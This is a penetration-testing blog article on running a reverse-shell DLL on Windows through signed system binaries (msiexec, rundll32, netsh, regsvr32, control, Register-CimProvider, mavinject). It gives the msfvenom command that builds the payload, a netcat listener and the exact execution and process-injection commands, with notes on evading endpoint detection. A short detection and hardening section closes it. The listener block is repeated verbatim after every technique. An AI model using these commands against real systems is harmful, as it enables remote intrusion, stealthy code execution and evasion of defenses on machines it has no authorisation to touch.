Penetration Testing

Windows Dll Execution Techniques

Overview

Dynamic Link Libraries (DLLs) are shared code modules on Microsoft Windows that can be loaded and executed at runtime by host processes. Because DLL functionality is deeply integrated into the Windows operating system, adversaries and red team operators exploit this mechanism to execute arbitrary code while evading endpoint detection and response (EDR) tools.

This article documents multiple techniques for deploying and executing a reverse-shell DLL payload on a Windows target. Each technique leverages a different Windows-native binary or subsystem, collectively known as Living-off-the-Land Binaries (LOLBins).

Table of Contents

  • Overview
  • Lab Environment
  • Payload Creation with MSFvenom
    • msfvenom Command
  • Setting Up the Listener
  • DLL Execution Techniques (LOLBins)
    • Msiexec
    • Rundll32
    • Netsh
    • Register-CimProvider
    • Regsvr32
    • control
    • mavinject
      • Identify Target Process
      • DLL Injection Execution
    • MITRE ATT&CK Mapping
    • Detection & Defense Guidance
      • Process-Level Detections
      • File System & Path Indicators
      • Network-Level Indicators
      • Endpoint Hardening

The lab environment uses a Kali Linux attacker machine at 192.168.1.17

Payload Creation with MSFvenom

Metasploit’s msfvenom utility generates raw shellcode and wraps it in a variety of output formats. The command below creates a 64-bit Windows reverse-TCP shell packaged as a DLL.

msfvenom Command

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.1.17 lport=1234 -f dll > shell.dll

Detailed Technique Walkthrough

Msiexec

The Windows Installer service (msiexec.exe) has an undocumented /y flag that calls the DllRegisterServer export of a given DLL, identical to what regsvr32 does, but through a different, less-monitored binary.

msiexec /y C:\users\public\shell.dll

Upon a successful callback, the session displays the Windows version banner and a command prompt, confirming a fully interactive reverse shell from the target.

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Why it works: msiexec is a signed Microsoft binary used legitimately for software installation. The /y switch invokes DLL self-registration, loading the DLL into the msiexec process and triggering shellcode execution. Many security products whitelist msiexec by default.

MITRE ATT&CK: T1218.007 — Signed Binary Proxy Execution: Msiexec

rundll32

rundll32.exe is the canonical Windows utility for invoking DLL functions. By passing a comma-separated export name, an attacker can force arbitrary DLL loading. Here the Control_RunDLL export of shell32.dll is used as a loader proxy.

rundll32 shell32.dll,Control_RunDLL C:\users\public\shell.dll

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Why it works: shell32.dll’s Control_RunDLL function loads the specified DLL as a Control Panel item. The shell.dll payload executes inside the context of rundll32, a well-known and trusted Windows host process. This technique is reliable across all modern Windows versions.

MITRE ATT&CK: T1218.011 — Signed Binary Proxy Execution: Rundll32

Netsh

netsh.exe, the Windows network shell, supports a plugin/helper architecture. Any DLL registered as a helper is loaded into the netsh process and its InitHelperDll export is called automatically.

netsh.exe add helper C:\users\public\shell.dll

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Why it works: netsh is a trusted, signed Windows binary used for legitimate network configuration. Loading a helper DLL is an expected operation. The callback appears as a child process of a low-suspicion network utility, often bypassing process-hierarchy-based detections.

Detection notes: Unexpected outbound connections from netsh.exe are a strong IoC and should be monitored by SOC teams.

MITRE ATT&CK: T1546.007 — Event Triggered Execution: Netsh Helper DLL

Register-CimProvider

Register-cimprovider.exe is a Windows binary that registers COM/WMI CIM providers. When passing a DLL path, it loads the DLL and calls its registration entry point.

Register-cimprovider -path C:\users\public\shell.dll

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Why it works: Register-cimprovider is a lesser-known signed binary with a very low detection baseline in most EDR solutions. The callback in this example spawns from C:\users\public>, reflecting the process working directory. This technique is particularly effective against telemetry-light environments.

MITRE ATT&CK: T1218 — Signed Binary Proxy Execution

regsvr32

regsvr32.exe is the classic Windows COM object registration tool. The /s (silent) flag suppresses all dialog boxes, making it suitable for non-interactive execution from shells and scripts.

regsvr32.exe /s C:\users\public\shell.dll

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Why it works: regsvr32 is one of the oldest and most documented LOLBin execution vectors. It supports both local and remote (Squiblydoo / URL-based) DLL loading. The /s flag prevents any GUI pop-ups that might alert a logged-in user. Despite being well-known, it remains effective in environments without AMSI or Script Block Logging coverage.

MITRE ATT&CK: T1218.010 — Signed Binary Proxy Execution: Regsvr32

control.exe

The Windows Control Panel host process (control.exe) accepts a DLL path on the command line and loads it as a Control Panel applet (.cpl file). CPL files are standard DLLs with a CplApplet export.

control.exe C:\Users\Public\shell.dll

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Why it works: Control Panel items are a standard Windows extension mechanism. Since control.exe is a signed Windows binary, execution chains originating from it often pass application whitelisting checks. The payload is loaded directly into the control.exe process space.

MITRE ATT&CK: T1218.002 — Signed Binary Proxy Execution: Control Panel

mavinject.exe

Unlike the previous techniques that spawn a new host process, mavinject.exe injects the DLL directly into the virtual address space of an already-running process. This is a classic process injection technique that allows the shell to masquerade as a legitimate system process.

Step 1 — Identify a suitable target process

Using Task Manager (or tasklist.exe), identify a process running with the desired privilege level. In the demonstrated example, rdpclip.exe (PID 3764) was selected — it is a SYSTEM32-hosted process associated with RDP clipboard functionality, providing a stealthy execution context.

Step 2 — Inject the DLL

mavinject.exe 3764 /INJECTRUNNING C:\Users\Public\shell.dll

Why it works: mavinject.exe is a Microsoft-signed binary (part of App-V) designed for virtual application injection. The /INJECTRUNNING flag allocates memory in the target process, writes the DLL path, and creates a remote thread calling LoadLibraryW. The resulting shell context reflects the target process working directory (C:\Windows\system32>), confirming code execution within the rdpclip.exe process space.

Setting Up the Listener

Before executing any technique, a listener must be running on the attacker machine. The rlwrap utility wraps netcat to provide readline support (history, arrow keys).

rlwrap nc -lvnp 1234

Privilege requirement: Injecting into processes owned by other users or SYSTEM requires SeDebugPrivilege, typically granted to local administrators.

MITRE ATT&CK: T1055.001 — Process Injection: Dynamic-link Library Injection

Credit : https://lolbas-project.github.io

Detection & Defense Guidance

Understanding how these techniques operate enables defenders to build effective detection logic. The following areas should be prioritised.

Process-Level Detections

  • Alert on outbound network connections from msiexec.exe, regsvr32.exe, rundll32.exe, control.exe, and netsh.exe when the connection is not part of expected software installation or OS update activity.
  • Monitor for mavinject.exe invocations. In most enterprise environments this binary has no legitimate use case outside of App-V deployments.
  • Detect DLL loads from user-writable directories (C:\Users\, C:\ProgramData\, C:\Windows\Temp\) by trusted Windows binaries.

File System & Path Indicators

  • Create alerts for DLL files written to C:\Users\Public\ or other world-writable locations that are subsequently loaded by a Windows host process.
  • Implement AppLocker or WDAC policies to prevent execution of unsigned DLLs from non-standard directories.

Network-Level Indicators

  • Raw TCP reverse shells on high ports (e.g., 1234) from Windows workstations to external IPs are strong indicators. Implement egress filtering for non-standard ports.
  • Deploy network-based IDS rules (Snort/Suricata) targeting Metasploit shellcode patterns in TCP streams.

Endpoint Hardening

  • Enable Windows Defender Attack Surface Reduction (ASR) rules, specifically: Block abuse of exploited vulnerable signed drivers and Block process creations originating from PSExec and WMI commands.
  • Enable PowerShell Script Block Logging (Event ID 4104) and Command Line auditing (Event ID 4688) in Group Policy to capture LOLBin invocations.
  • Limit SeDebugPrivilege to only accounts that require it operationally to reduce the effectiveness of mavinject-style cross-process injection attacks.

Leave a Reply

Your email address will not be published. Required fields are marked *